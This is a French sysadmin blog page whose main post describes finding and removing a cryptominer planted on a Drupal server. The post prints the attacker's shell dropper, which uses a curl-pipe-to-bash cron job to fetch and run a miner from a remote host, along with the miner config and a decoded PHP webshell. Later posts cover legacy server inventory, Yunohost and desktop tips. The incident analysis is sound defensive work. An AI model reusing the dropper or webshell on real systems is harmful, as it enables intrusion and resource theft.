Devenir SysAdmin d’une PME – Mineur de bitcoin- Billet n°2

Ce billet fait partie de la série :
- Devenir SysAdmin d'une PME, retour d'expérience - Billet n°0

Comme le disait SebOS666 dans son billet Décoder un script PHP malveillant, comment s'en protéger, les failles Drupal récentes (Drupalgeddon) étaient bien critiques et les sites non mis à jour ont conduits à l'infection de serveurs par des mineurs de bitcoin.

Attention :
- je ne suis pas expert en sécurité, juste un sysadmin ayant un peu d'expérience. Et je suis preneur de tout complément d'information dans les commentaires. J'ai gardé les codes sources exactes, j'ai anonymisées certaines parties pour des raisons pratiques. Ce billet synthétise deux attaques différentes.
- le but ici n'est pas d'analyser le problème Drupal (on est plus dans le domaine de la sécurité) que de montrer qu'en tant que sysadmin, on peut déjà faire des choses... Et la partie "PHP / Faille Drupal" est volontairement vide.

Mineur de bitcoin Détection & Root Cause

Détection : la supervision montre des graphs anormaux de charge processeur sur une machine qui héberge un site web.
Une connexion SSH permet de lancer un htop qui donne un processus qui tourne à 100% depuis un moment...

Cause : exploitation d'une faille du site sous Drupal qui n'est pas dans la toute dernière version.

Analyse des processus

Via htop on a processus chron-34e2fg qui tourne un fond. Et on a son PID

un PID. La commande lsof donne le chemin du programme a la source :

root@machine:~$ lsof -p le_PID
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
chron-34e 2059 www-data cwd DIR 202,1 4096 2 /
chron-34e 2059 www-data txt REG 202,1 2368064 264466 /var/tmp/.jnks/chron-34e2fg
chron-34e 2059 www-data 0r FIFO 0,8 0t0 478384 pipe
chron-34e 2059 www-data 1u REG 202,1 46558 395911 /tmp/tmpfW5PPSg
chron-34e 2059 www-data 2u REG 202,1 46558 395911 /tmp/tmpfW5PPSg
chron-34e 2059 www-data 3u 0000 0,9 0 1202 anon_inode
chron-34e 2059 www-data 8u 0000 0,9 0 1202 anon_inode
chron-34e 2059 www-data 9r CHR 1,3 0t0 1204 /dev/null
chron-34e 2059 www-data 10u IPv4 479092 0t0 TCP localhost:59304->ip56.ip-217-XXX-XXX.eu:https (ESTABLISHED)

On a tous les processus qui sont derrière ce PID et les fichiers incriminés à supprimer.

Autre cas avec un autre mineur :

root@machine:/# ps -aux |grep sus
rapport+ 19884 0.1 0.0 178868 944 ? Ssl 06:35 0:00 ./sustes -c config.json -t 1


Dans ce cas là, on a un fichier de configuration.


Détection des processus et fichiers ouverts par un utilisateur


root@machine:/# lsof -u www-data
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
sh 5399 www-data cwd DIR 8,1 4096 817666 /var/www/vhosts/monsite.com
sh 5399 www-data rtd DIR 8,1 4096 2 /
sh 5399 www-data txt REG 8,1 125400 1088 /bin/dash
sh 5399 www-data mem REG 8,1 1738176 161 /lib/x86_64-linux-gnu/libc-2.19.so
sh 5399 www-data mem REG 8,1 140928 158 /lib/x86_64-linux-gnu/ld-2.19.so
sh 5399 www-data 0r FIFO 0,8 0t0 263035594 pipe
sh 5399 www-data 1u REG 8,1 0 11993 /tmp/tmpfsy8gCO
curl 5400 www-data cwd DIR 8,1 4096 817666 /var/www/vhosts/monsite.com
curl 5400 www-data rtd DIR 8,1 4096 2 /
curl 5400 www-data txt REG 8,1 182216 307756 /usr/bin/curl

On retrouve la commande curl (cf ci-dessous) et la commande appelant le fichier dans /tmp

Blocage des IP des serveurs extérieurs

Dans les processus on voit donc une connexion sur ip56.ip-217-XXX-XXX.eu

On cherche l'IP derrière cette machine via un simple et bête ping

root@machine:~$ ping ip56.ip-217-XXX-XXX.eu
PING ip56.ip-217-XXX-XXX.eu (217.182.231.56) 56(84) bytes of data.
64 bytes from ip56.ip-217-XXX-XXX.eu (217.182.231.56): icmp_req=1 ttl=58 time=13.2 ms
64 bytes from ip56.ip-217-XXX-XXX.eu (217.182.231.56): icmp_req=2 ttl=58 time=18.9 ms
^C
--- ip56.ip-217-XXX-XXX.eu ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 13.284/16.102/18.920/2.818 ms

Un rapide check sur Internet indique que c'est un noeud d'entrée TOR.

On bannira cette IP.

On regarde le contenu du fichier de configuration

more config.json
{
"algo": "cryptonight", // cryptonight (default) or cryptonight-lite
"av": 0, // algorithm variation, 0 auto select
"background": true, // true to run the miner in the background
"colors": true, // false to disable colored output
"cpu-affinity": null, // set process affinity to CPU core(s), mask "0x3" for cores 0 and 1
"cpu-priority": null, // set process priority (0 idle, 2 normal to 5 highest)
"donate-level": 1, // donate level, mininum 1%
"log-file": null, // log all output to a file, example: "c:/some/path/xmrig.log"
"max-cpu-usage": 95, // maximum CPU usage for automatic mode, usually limiting factor is CPU cache not this option.
"print-time": 60, // print hashrate report every N seconds
"retries": 5, // number of times to retry before switch to backup server
"retry-pause": 5, // time to pause between retries
"safe": false, // true to safe adjust threads and av settings for current CPU
"threads": null, // number of miner threads
"pools": [
{
"url": "158.69.XXXX.XXXX:3333", // URL of mining server
"user": "4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3Ywq", // username for mining server
"pass": "x", // password for mining server
"keepalive": true, // send keepalived for prevent timeout (need pool support)
"nicehash": false // enable nicehash/xmrig-proxy support
},
{
"url": "192.99.XXXX.XXXX:3333", // URL of mining server
"user": "4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3YwqD", // username for mining server
"pass": "x", // password for mining server
"keepalive": true, // send keepalived for prevent timeout (need pool support)
"nicehash": false // enable nicehash/xmrig-proxy support
},
{
"url": "202.144.XXX.XXX:3333", // URL of mining server
"user": "4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfg", // username for mining server
"pass": "x", // password for mining server
"keepalive": true, // send keepalived for prevent timeout (need pool support)
"nicehash": false // enable nicehash/xmrig-proxy support
}
],
"api": {
"port": 0, // port for the miner API https://github.com/xmrig/xmrig/wiki/API
"access-token": null, // access token for API
"worker-id": null // custom worker-id for API
}
}

On bannira ces IP.

Vérification des connexions réseaux actives

Trois commandes et outils pour voir les connexions actives avant et après le bannissement

netstat -puant
Nethogs
Iftop

qui confirment les connexions aux serveurs.

Bannir les IP

Pour chaque série d'IP, on bannit via iptables

iptables -A INPUT -s 217.182.231.56 -j DROP
iptables -A OUTPUT -d 217.182.231.56 -j DROP

Connexion sortantes et entrantes bloquées, nettoyage...

Méthode barbare

rm -rf /tmp
rm -rf /var/tmp

Et on tue les processus liés à www-data

killall -u www-data

Autres fichiers en PHP dans la partie Drupal - site web

Dans le dossier Drupal, on fait du nettoyage de tout ce qui n'est pas lié à Drupal. ON trouve, entre autres des fichiers étranges.

$ ls
css.php sl.php ifm.php phpminiadmin.php 404.php iindex.php
cat lefichier |base64 -d
if(isset($_REQUEST['pass']))
{
echo "
"; 
$hash = hash("sha512", $_REQUEST['pass']);
if($hash == "e7f1b39e46ee003976cecc130362059edd1785e0dd8c6bd02f29d7...")
{ if(isset($_REQUEST['cmd'])) { $cmd = ($_REQUEST['cmd']); system(base64_decode($cmd)); }}
else echo "gtfo";
echo "
";
die;
}

Pour le reste, je vous renvoie à Décoder un script PHP malveillant, comment s'en protéger, le but ici n'est pas d'analyser le problème Drupal (on est plus dans le domaine de la sécurité) que de montrer qu'en tant que sysadmin, on peut déjà faire des choses...

Les fichiers réapparaissent

Malgré les kill, le processus se relance et les fichiers réapparaissent.

On regarde de nouveau les processus

root@machine:/# ps -aux |grep rapport
rapport+ 15416 0.0 0.0 4336 764 ? Ss 09:46 0:00 /bin/sh -c curl -s http://192.99.XXX.XXX:8220/logo9.jpg | bash -s
rapport+ 15418 0.0 0.0 13236 2996 ? S 09:46 0:00 bash -s
rapport+ 15449 0.0 0.0 5808 692 ? S 09:46 0:00 sleep 3
root 15595 0.0 0.0 12728 2248 pts/1 S+ 09:46 0:00 grep rapport

root@machine:/# ps -eaf |grep rapport
rapport+ 16536 16535 0 09:47 ? 00:00:00 /bin/sh -c curl -s http://192.99.XXX.XXX:8220/logo9.jpg | bash -s
rapport+ 16537 16536 0 09:47 ? 00:00:00 curl -s http://192.99.XXX.XXX:8220/logo9.jpg
rapport+ 16538 16536 0 09:47 ? 00:00:00 bash -s
rapport+ 16941 15854 0 09:47 ? 00:00:00 php-fpm: pool monsite.com
root 16959 14566 0 09:47 pts/1 00:00:00 grep rapport
On un curl qui est lancé (qui était masqué).

On récupère le fichier via wget et on regarde son contenu

$ cat logo9.jpg
#!/bin/sh
pkill -f 192.99.XXX.XXX
pkill -f suppoie
ps aux | grep -vw sustes | awk '{if($3>40.0) print $2}' | while read procid
do
kill -9 $procid
done
rm -rf /dev/shm/jboss
ps -fe|grep -w sustes |grep -v grep
if [ $? -eq 0 ]
then
pwd
else
crontab -r || true && \
echo "* * * * * curl -s http://192.99.XXX.XXX:8220/logo9.jpg | bash -s" >> /tmp/cron || true && \
crontab /tmp/cron || true && \
rm -rf /tmp/cron || true && \
curl -o /var/tmp/config.json http://192.99.XXX.XXX:8220/3.json
curl -o /var/tmp/sustes http://192.99.XXX.XXX:8220/rig
chmod 777 /var/tmp/sustes
cd /var/tmp
proc=`grep -c ^processor /proc/cpuinfo`
cores=$((($proc+1)/2))
num=$(($cores*3))
/sbin/sysctl -w vm.nr_hugepages=`$num`
nohup ./sustes -c config.json -t `echo $cores` >/dev/null &
fi
sleep 3
echo "runing....."

Un script shell lié à une IP qui n'a rien à voir, qui se masque et qui relance la création des mineurs de bitcoins....

C'est ce processus masqué qui fait revenir les fichiers...

Ban de l'IP

iptables -A INPUT -s 192.99.XXX.XXX -j DROP
iptables -A OUTPUT -s 192.99.XXX.XXX -j DROP

Nettoyage des tâches cron

Et malrgé tout ça, il y a une relance du processus... Même si les fichiers ne réapparaissent pas.

En effet, l'astuce est qu'il y a des crontab spécifiques aux sites hébergés sont dans /var/spool/cron/crontabs
Il reste des tâches à nettoyer :

root@machine:/var/spool/cron/crontabs# ls
www-data

cat www-data
root@machine:/var/spool/cron/crontabs# cat www-data
# DO NOT EDIT THIS FILE - edit the master and reinstall.
# (/tmp/cron installed on Mon May 21 09:46:01 2018)
# (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)
* * * * * curl -s http://192.99.XXX.XXX:8220/logo9.jpg | bash -s

Il faut supprimer ces fichiers et tuer tous les processus liés à l'utilisateur

rm /var/spool/cron/crontabs/www-data
killall -u www-data

Changement des droits de /var/tmp

Par défaut, les droits de /var/tmp était en 777 sur cette machine...

chmod 755 /var/tmp

comme ça le processus lié à l'utilisateur php ne peut plus écrire.

Conclusion

On finit par la mise à jour du serveur. On a alors un site qui peut rester en ligne, le n temps que l'on reparte sur un autre serveur virtuel bien propre sur lequel on restaure la sauvegarde du site, on met à jour, et on bascule. Et on supprime la machine compromise. Sait-on jamais...

Devenir SysAdmin d’une PME – Gestion du legacy- Billet n°1

Ce billet fait partie de la série :
- Devenir SysAdmin d'une PME, retour d'expérience - Billet n°0

Le legacy ?

Dans le présent billet je voudrais parler du legacy. Sous le terme de legacy ou héritage en anglais, j'inclue l'ensemble des machines et serveurs du système d'information que l'on a en gestion, et dont, on hérite d'une certaine façon en reprenant la gestion du parc informatique.

En quoi est-ce un point important ? Afin de pouvoir aller vers l'avenir, il faut déjà regarder le passé et faire un état des lieux. L'objectif est d'avoir une parfaite vue d'ensemble des machines, de leurs rôles, de leurs criticités... De savoir ce qui est documenté et ce qui ne l'est pas, de savoir quelle machine sert à quoi...

En premier lieu il est important de dresser un inventaire exhaustif du par informatique côté serveur (dans un premier temps on exclue les postes utilisateurs : chacun est administrateur de sa machine, sous une distribution GNU/Linux de son choix et cela simplifie grandement les choses en terme de maintenance des postes utilisateurs...)

Dresser une cartographie complète de l'existant

A ma connaissance, il y a deux façons : la façon barbare et la façon longue et fastidieuse

La façon barbare : Il faut préalable connaître l'ensemble des plages IP utilisées sur le réseau de l'entreprise et on fait alors un scan en mode intense via Nmap de l'ensemble des IP de ces plages, depuis une machine du réseau interne. Avec un peu de chance on se fait bannir rapidement par un outil de détection... ou pas.

Ce scan intense permet de savoir sur quelle IP quelle machine répond, d'avoir son OS et sa version, les ports ouverts... A moins que les machines soient bien configurées et sécurisées, cela donne une bonne idée des plages IP occupées, des machines qu'il y a derrière et donne une bonne base de travail.

La façon plus moderne

Avec un peu de chance un outil du type Ansible a été mis en place et les machines sont ansiblelisées. On pourra donc se baser (se reposer) sur des playbooks existants pour avoir une base pour interroger les machines de façon moins barbare.

la façon longue et fastidieuse

J'évoquais dans mon article précédent le fait que je ne pars pas de rien, j'ai connaissance d'une liste des machines, dont des hyperviseurs sur lesquels tournent des machines virtuelles. J'ai accès à ces hyperviseurs. Je me connecte donc au hyperviseurs et de là je me connecte aux machines virtuelles. Je notes les caractéristiques qui m'intéressent, je vois ce que ces machines contiennent en terme de services... Une à une, je me connecte à la machine et je note les informations pertinentes dans un tableau que j'enrichis au fur et à mesure.

Long. Très long. Mais cela m'a permis de valider que j'ai bien accès à chacune des machines (j'ai ensuite tester une connexion depuis ma machine en SSH pour valider que ma clef publique a bien été déployée sur chaque serveur par le système qui le fait de façon automatisée), que la machine est accessible, fonctionnelle...

Tableau de suivi

J'ai donc constitué un tableau dans un tableur pour faire mon suivi. Les colonnes sont les suivantes :
- Nom de machine,
- IP publique
- IP privée
- Groupe
- Wiki : j'ai créer une page dédiée pour cette machine que j'enrichis au fur et à mesure
- Services
- Etat des sauvegardes : sauvegardée ou non
- Version de l'OS
- Etat des mises à jour
- Présence ou non de fail2ban
- Liste des ports ouverts sur l'extérieur
- Machine faisant partie de la liste des machines supervisées par notre outil (un billet complet sera dédié à la supervision).
...

Comment gérer le legacy ? Des O.S. obsolètes...

Que ce soit des machines virtuelles ou physiques, le constat est bien ce que l'on pouvait redouter : des tas de machines sont souvent sous des versions obsolètes d'O.S. non maintenues... Il va y avoir du travail.

Il ne faut surtout pas se précipiter et migrer de version en version de Debian à coup de dist-upgrade. Il faut comprendre pourquoi ces machines ne sont pas à jour, quels logiciels et dans quels versions tournent sur ces serveurs... Dépendance à une version particulière de PHP ? La migration sur une version plus récente casse une API ? Les raisons sont multiples et avant de penser "Et la sécurité, vite faut mettre à jour", il faut penser "de toute façon ça tournait jusque là, donc on reste calme, on réfléchit et on avise".

Il faut prendre ça avec humour.

Vu les uptime et les versions d'OS, vu que le parc informatique est composé à 99% de machine Debian en version stable (de différentes époques), je peux affirmer que oui, Debian stable, c'est stable.

Comment gérer le legacy ? Cas de la gestion des machines physiques

Dans la liste des serveurs, il y a des machines qui sont des vrais serveurs physiques. On pense donc aux capacités de redondance : alimentations redondées, ventilateurs redondés, disques en RAID... Le soucis est que je ne sais pas quand les machines ont été achetés, elles tournent 24h sur 24h...

Dans une vie précédente, j'ai été confronté au cas suivant : des serveurs de plus de dix ans... Un ventilateur de la baie de disque a lâché. Pas grave, c'est redondé, on verra bien. Sauf que le deuxième ventilateur a tourné plus vite pour compenser la dissipation de chaleur nécessaire, a lâché quelques jours après. Interruption de la baie de disques et de la production, nécessité de renouveler du matériel en urgence et bien que sous garantie étendue par le constructeur, ils ont mis plusieurs jours à retrouver un modèle compatible au fin d'un stock à l'autre bout de la France et à le faire revenir... en urgence...

Cette expérience m'a marquée et depuis, je fais un check régulier des machines de la salle serveur. Un contrôle journalier des différents voyants des différents serveurs. L'objectif est de prévoir & anticiper les pannes.

Et surtout je commence à anticiper et à prévoir une migration de toutes les machines que je peux migrer sur des machines virtuelles avec des O.S. plus récent et ansiblelisés. L'intérêt de passer de machines physiques à des machines virtuelles dans un vraie data-center et de faire abstraction de la gestion du matériel et de délégué ça à des personnes dont c'est vraiment le métier...

Comment gérer le legacy ? Lister les priorités et les services critiques

Une fois que l'on a une cartographie un peu plus complète, il faut alors lister les machines critiques, avec leurs importances (serveur de mail, d'impression, DNS...) et au plus vite vérifier :
- que l'on a des sauvegardes et que l'on sait les restaurer ;
- que ces sauvegardes marchent ;
- que les machines sont à jour...

Il faut savoir pour chaque machine sa criticité, avoir un PRA (Plan de Rétablissement de l'Activité) et pour le cas des sauvegardes, partir du principe que si on ne sait pas, cela n'existe pas. Peut-être (et sûrement) qu'il y a des sauvegardes régulières et automatisées. Mais si on ne sait pas, on ne sait donc pas restaurer les données et les sauvegardes ne servent à rien en l'état. Donc là encore un gros chantier pour vérifier que tout est bien sauvegarder et avoir un système de sauvegarde uniforme, efficace et puissant (BORG !).

Conclusion

Un deuxième billet qui montre le début d'un long chantier que j'ai entamé avec plusieurs heures de travail par jour pendant des semaines.

Dans les prochains sujets, il y aura la Supervision, les Sauvegardes, la Sécurité, les montées en version et les mises à jours.... Encore plein de sujets et d'expériences à faire sur mon histoire et comment je deviens SysAdmin d'une PME. A suivre donc.

Devenir SysAdmin d’une PME, retour d’expérience – Billet n°0

Introduction

Depuis mes débuts sous Linux, j'ai toujours su taper des commandes. Très tôt, j'ai appris à installer différents services et des serveurs (essentiellement dans des machines virtuelles et pour faire du LAMP : Linux, Apache, MySQL, PHP), mais c'est toujours resté de la bidouille. Avec le début de mon autohébergement fin décembre 2015, j'ai commencé à m'intéresser aux problématiques d'administration système. A l'été 2016, pendant les vacances, j'ai mes débuts véritable en sysadmin - administration système en cherchant à comprendre comment fonctionnait Yunohost dans ses entrailles, les différents services, en cassant et restaurant sans soucis à plusieurs reprises mon instance de production... J'ai donc appris et pas mal progressé à titre personnel, en gérant mon instance Yunohost, soit un seul serveur.

Pourtant, à côté, j'ai continué à m'intéresser à une gestion plus professionnelle et industrielle et en début de cette année 2018, je me suis vu affecter la reprise de la gestion de toute l'infrastructure de la société dans laquelle je travaille. Cette prise de fonction et de responsabilité a été décidé dans le cadre d'une restructuration des services : gérer les services de production, de support et d'infrastructure interne et liée à nos clients permet d'avoir une meilleur vision d'ensemble, plus de réactivité...

Comme toute nouvelle prise de fonction, les précédentes personnes ayant eu à gérer le service sont parties faire d'autres horizons bien qu'une passation de connaissances s'est faite, elle s'est faite rapidement.

Et avec les semaines, on découvre que même si une documentation existe (répartie dans plusieurs wikis), elle n'a pas été maintenue à jour, n'est pas assez détaillée ou obsolète... Et avec le temps il y a des choses qui marchent mais on ne sait pas comment, il y a des serveurs qu'on ne touche pas, des services qui tournent alors on ne touche à rien. Tout cet héritage et empilage de choix technique mis en place avec les années par les différents administrateurs systèmes qui se sont succèdés, c'est ce que j'appellerai le legacy, soit l'héritage.

Contexte de l'infrastructure Je pense qu'il est important, pour la suite des billets que j'aurai à rédiger, de préciser, que l'infrastructure actuelle se compose de trois grandes catégories de machines et ces catégories ont leurs importances :
- Les machines physiques : 99% des serveurs sont sous Debian, dans différentes versions
- Les machines virtuelles sur un hyperviseur : Xen et Proxmox
- Les machines cloud (sur l'hyperviseur d'un autre)

Un travail de modernisation avec le passage à des technologies plus évolutives et flexibles (virtualisation, Docker / K8S Kubernetes...) a été débuté mais il reste encore beaucoup de "une machine physique ou virtuelle pour un service dédié" avec autant de système d'exploitations et d'applications à maintenir et à découvrir...

Je pense que je ferai là encore, une série de billets au fur et à mesure de ma progression et sur comment j'ai commencer à dresser une cartographie détaillé de l'existant, documenter de novo en reprenant TOUTE la documentation existante pour la remettre d'aplomb... Et dans le futur, je parlerai de mon expérience dans la mise en place de nouveau service, dans la refonte et modernisation de l'infrastructure...

L'objectif de ma série de billets ces prochains mois sera le partage de mon expérience acquise avec le temps, le partage de bonnes pratiques mises en places, d'astuces etc. En complément de ma série de billets plus spécifiques sur le projet Chatonkademy/

Les commandes que j'utilise le plus

Pour finir ce premier billet un peu fourre-tout, je voudrais parler des commandes que j'utilise le plus au quotidien. A l'heure actuelle, quand l'outil de supervision (sous Zabbix) remonte des alertes, je me connecte en SSH sur les machines et voici les commandes que j'utilise le plus :
- ncdu
- ls -lrtu
- tail -f /var/log/le_fichier_de_log_qui_va_bien

ncdu Habitué de la commande du dont je ne me rappelle jamais les options pour avoir uniquement le niveau 1 (réponse du -h —max-depth=1 .), j'ai découvert et depuis je ne m'en passe plus et l'installe sur tous les serveurs la commande ncdu, soit NCurses Disk Usage. Simple, rapide et efficace, on a de suite l'espace disque occupé par un répertoire. Pratique pour de suite savoir quel dossier prend plein de place, et c'est très complémentaire à du, en ajoutant en plus un système de navigation au clavier dans l'arborescence scannée. Indispensable.

ls -lrtu on liste les fichiers et on les trie par date pour de suite avoir en base de liste les derniers fichiers modifiés. Pratique pour savoir quel est le dernier fichier de logs qui vient d'être modifié (c'est le dernier de la liste), voir quel est le propriétaire et la date et heure de dernière écriture.

Pour ensuite faire dessus le classique

tail -f /var/log/le_fichier_de_log_qui_va_bien J'ai dans les projets pour les mois à venir la mise en place d'un système de gestion des logs centralisés mais en attendant, à l'ancienne, je consulte les logs avec un tail -f et éventuellement du |grep motif_qui_va_bien pour filtrer affiner un peu.

Et pour le reste, il y a les commandes que j'évoquais dans mes billets :
- Yunohost - Supervision en ligne de commande
- Yunohost - Supervision du trafic réseau

Chatonkademy – Billet N°3 – FreshRSS, Yunohost et plusieurs utilisateurs

Série de billets sur le projet Chatonkademy

Dans ce billet je voudrais parler du cas de FreshRSS sur Yunohost avec plusieurs utilisateurs. Pour rappel, FreshRSS est une application de type agrégateur RSS, fort pratique (on peut se connecter dessus via son API pour avoir une application mobile avec EasyRSS (voir Yunohost, FreshRSS et EasyRSS pour Android).

A la suite de la création et de l'installation de l'instance Yunohost, j'ai créer un utilisateur pour moi (Genma), qui est l'utilisateur par défaur puis installer différentes applications dont FreshRSS. J'ai ensuite fait la création des utilisateurs en masse (une quarantaine) sur cette instance.

L'application n'est pas une application publique et partagée, chaque utilisateur a donc l'application disponible pour lui et aura la gestion de son propre contenu.

Le soucis est que les différents utilisateurs au moment du premier usage de FreshRSS (et des fois suivantes), rencontraient différents soucis : pas de possibilité d'importer un fil RSS, pas de possibilité de changement de langue...

La solution est de reprendre le répertoire FreshRSS de l'utilisateur qui était là à l'installation de FreshRSS et de dupliquer ce répertoire nécessaire au bon fonctionnement de FreshRSS.

Cela se fait via

cd /var/www/freshrss/data/users
# On prend comme liste d'utilisateurs ceux qui ont un dossier dans /home (créer automatiquement par Yunohost, à l'exception des dossiers Yuno*
for user in `ls /home -I yuno*` do
# On copie le dossier existant de l'utilisateur qui était initialement présent avant l'installation de FreshRSS
cp -R genma/ $user
# on change les droits car il faut que ce soit www-data le propriétaire du dossier
chown -R www-data: ./$user
done

On remarque donc que les données pour l'application FreshRSS dans Yunohost se trouvent dans le dossier /var/www/freshrss/data/users/
Ces données sont un fichier config.php qui contient des préférences / paramétrage de l'application et un fichier de log, log.txt qui contient des logs spécifiques à l'application (différents des logs liés à nginx qui se trouvent dans /var/log/nginx/).

Les données (fils RSS auxquels on est abonné, catégorie, lu ou non lu...) sont dans la base de données et sont bien sauvegardées par le script de l'application. Seul le paramétrage de l'interface n'est donc pas sauvegardé par défaut. A prendre en compte dans le processus de sauvegarde.

Lifehacking – Avoir des templates de documents dans Nautilus

J'ai récemment migrer sous la dernière version LTS d'Ubuntu, la 18.04, et je suis passé d'un environnement Unity (que j'utilisais depuis le début et auquel je suis resté fidèle au fil des versions) à un environnement Gnome. J'utilisais régulièrement la création de fichier vide dans un dossier de Nautilus avec un clic droit, créer un fichier et je ne retrouvais pas cette fonctionnalité dans ma nouvelle version d'Ubuntu. J'ai cherché un peu et en fait, c'est plus complet que ce que je ne pensais.

Dans le Home de l'utilisateur vous avez un dossier Modèles (ou Templates en anglais), tous les fichiers qui y figureront pourront être créés par un clic droit, vides ou contenant le texte que vous souhaitez. Bien évidemment les fichiers s'ouvriront avec les programmes par défaut de votre environnement. Source Ajouter ‘un nouveau fichier' par un clic droit avec Nautilus.

Ayant découvert que l'on pouvait donc ajouter ses propres modèles, j'ai alors déposer tout un tas de fichier template / modèle que j'ai déjà préparé dans différents formats : dès fichiers LibreOffice de différents types déjà formatés (tableau pour Calc, Présentation, Document avec en-tête et pied de page...) et des fichiers textes (Structure de billets de blogs, de fichiers de Markdown pour le Wiki

Avant, j'allais dans mon dossier de référence de template, je copiais le fichier de modèle, allait dans le dossier de travail / projet, je collais le fichier, je le renommais. Désormais, je n'ai plus qu'à faire qu'un clic droit dans n'importe quel dossier, je crée un fichier du type que je veux avec une structure déjà prédéfinie, je le renomme et je gagne du temps. Une nouvelle astuce qui m'est bine utile au quotidien.

Yunohost 3.0 sur Debian 9 – Retour d’expérience rapide

Jusqu'à présent, Yunohost n'était compatible avec Debian 9 Stretch (uniquement Debian 8 Jessie). A l'annonce du passage en phase de test Beta sur le forum pour la compatibilité Debian 9, ayant un peu de temps, pour tester, je me suis lancé.

Yunohost 3.0 ?

Actuellement la version stable est la version 2.7.x. La version 3 apporte la compatibilité avec Debian 9 : une migration sur une instance déjà installée fait que la machine passe sous Debian 9. On a alors des versions plus récentes de PHP (passage de 5 à 7), ce qui sera mieux pour les futures versions à venir de Nextcloud qui nécessitent Php7. Et on est enfin sous Debian 9. Et ça c'est cool aussi.

Test dans une machine virtuelle clone de mon instance de production

Pour avoir un bac à sable qui ne craint rien, j'ai refait un clone complet via Clonezilla de mon instance de production (et j'ai ainsi un backup complet tout frais, en plus des sauvegardes régulières) que j'ai réimporté dans une nouvelle VM Virtualbox. Pour me connecter à celle-ci, j'ai modifié mon fichier hosts pour que l'IP de la VM corresponde aux noms de domaines de mon Yunohost de production. Je résume vite fait car je me suis basé sur mon expérience précédente abordée dans les billets précédemment écrit Yunohost dans Virtualbox et Yunohost, Clonezilla et Virtualbox

Et j'ai trouvé des bugs

J'ai ainsi pu tester plusieurs fois la migration (et repartir du snapshot fonctionnel de la VM), en indiquant à chaque fois les erreurs rencontrées, cherchant des solutions et contribuant ainsi, modestement, à mon niveau à Yunohost. Je suis assez content car mes tests ont permis de détecter des erreurs sur les applications suivantes Sonerezh et Nextcloud.

Dont voici la correction...

Le détail et toute la démarche faite durant quelques heures passées à comprendre et chercher est sur le forum, je donne directement les solutions :

Sonerezh

Il y a deux lignes où il y a des # et non des ; (ancien système de commentaire de PHP non compatible avec PHP 7).
On édite le fichier de configuration pour faire la correction :

nano -l /etc/php/7.0/fpm/pool.d/sonerezh.conf

Nextcloud

Module PHP manquant conduisant à une erreur Interne (500 dans les logs)

apt-get install php7.0-apcu -y
service nginx restart

J'ai au passage vu que les logs de Nextcloud ne sont pas dans /var/log/nginx/monsousdomaine.domaine.log (soit les logs du domaine nginx lié à Nextcloud) mais dans le fichier /home/yunohost.app/nextcloud/data/nextcloud.log

Reste à voir comment on peut faire pour ajouter tout ça en patch / proposée que ces corrections soient faites automatiquement dans les migrations et installations des applications dans YunoHost.

Sachant que pour Sonerezh, le code source de l'application en elle-même n'est plus maintenue, il faut probablement ajouter la modification dans le script de migration ou d'installation de Sonerezh en tant qu'application YunoHost. A voir.

Migrer ou non ?

La version est encore en Beta. Je ne l'ai pas testé assez longtemps pour voir si il n'y a pas d'autres soucis. J'attendrai donc la sortie officielle en version stable courant juin pour migrer mon instance de production (que j'utilise tous les jours), en attendant, dès que j'ai un peu de temps, je continuerai sur l'instance de test dans Virtualbox pour voir comment je peux continuer à aider un peu un projet que j'utilise quotidiennement. La moindre des choses étant, à mon niveau, d'aider un peu.

Mais dès à présent, de ce que j'ai pu voir, les applications suivantes sont fonctionnelles : Amapache, Dokuwiki, FreshRSS, Kanboard, Shaarli, Roundcube, Wallabag, Sonerezh (suite à la correction), WemaWema, Phpmyadmin et Nextcloud. Reste quand même à tester ça en profondeur.

Bureau à distance Google Chrome

Le but de cet article n'est pas de critiquer une énième fois les GAFAM, de parler dégooglisons etc. Quoique ;)

Bureau à distance Google Chrome

Saviez vous qu'il était possible d'utiliser un ordinateur ou un appareil mobile pour accéder par Internet aux fichiers et aux applications d'un autre ordinateur via le bureau à distance Chrome. Accéder à un autre ordinateur via le bureau à distance Chrome.

Dit autrement, c'est un équivalent de VNC ou TeamViewer, mais directement installé en tant que greffon dans le navigateur Chrome.

Technologies ?

Au delà de la question de l'usine à gaz que devienne les navigateurs webs (il y a déjà suffisamment à faire avec la complexité des pages webs qui sont toujours plus lourdes et chargées en technologie, pour peut être ne pas avoir à y mettre une fonctionnalité comme le bureau à distance, vu qu'il y a des logiciels dédiés pour ça).

Niveau technologie, ça utilise le Chromoting protocol qui est développé par Google. Cela permet la transmission des événements générés par la clavier et la souris (ou l'interface tactile dans le cas d'une tablette) d'un ordinateur à un autre, en relayant les mises à jours écran en arrière plan via le réseau. L'affichage de l'écran distant utilise le code vidéo VP8. Sous Windows, le copier-coller est supporté ainsi que la transmission du flux audio en temps réel.

Dans les prérequis il est indiqué que le trafic se fait via les ports TCP 443 (HTTPS) et 5222 (XMPP). Quelques recherches montrent que des personnes cherchant à bloquer cette fonctionnalité au niveau réseau et conseille de bloquer l'adresse host.talkgadget.google.com au niveau des DNS des réseaux de l'entreprise. Cette adresse dans un navigateur donne la page d'accueil de Google Hangouts, le Skype par Google directement au sein du navigateur (et pour les autres il y a https://meet.jit.si/ et https://framatalk.org/accueil/).

Confidentialité ?

Concernant la confidentialité, Google renvoit vers cette page https://www.google.com/chrome/browser/privacy/#policy-on-using-apps qui contient une phrase très importante Les modules complémentaires développés et fournis par Google peuvent communiquer avec les serveurs Google et sont soumis aux Règles de confidentialité Google, sauf mention contraire.

Cette page renvoyant elle-même aux Règles de confidentialité Google.

D'une façon générale, tout ce qui est fait via Google (le moteur de recherche), via un logiciel de l'écosystème Google (Chrome, les téléphones Android avec la couche Google, les applications Google...) sont susceptibles de fournir des données d'utilisation à Google ; et cette fonctionnalité de bureau à distance n'y fait pas exception.

D'ailleurs, quand on installe Chrome Remote Desktop, on a une demande pour les autorisations suivantes :

Conclusion

Cette fonctionnalité peut s'avérer intéressante pour des utilisateurs de Chrome et de l'écosystème Google.

Deux téléphones et séparation des usages

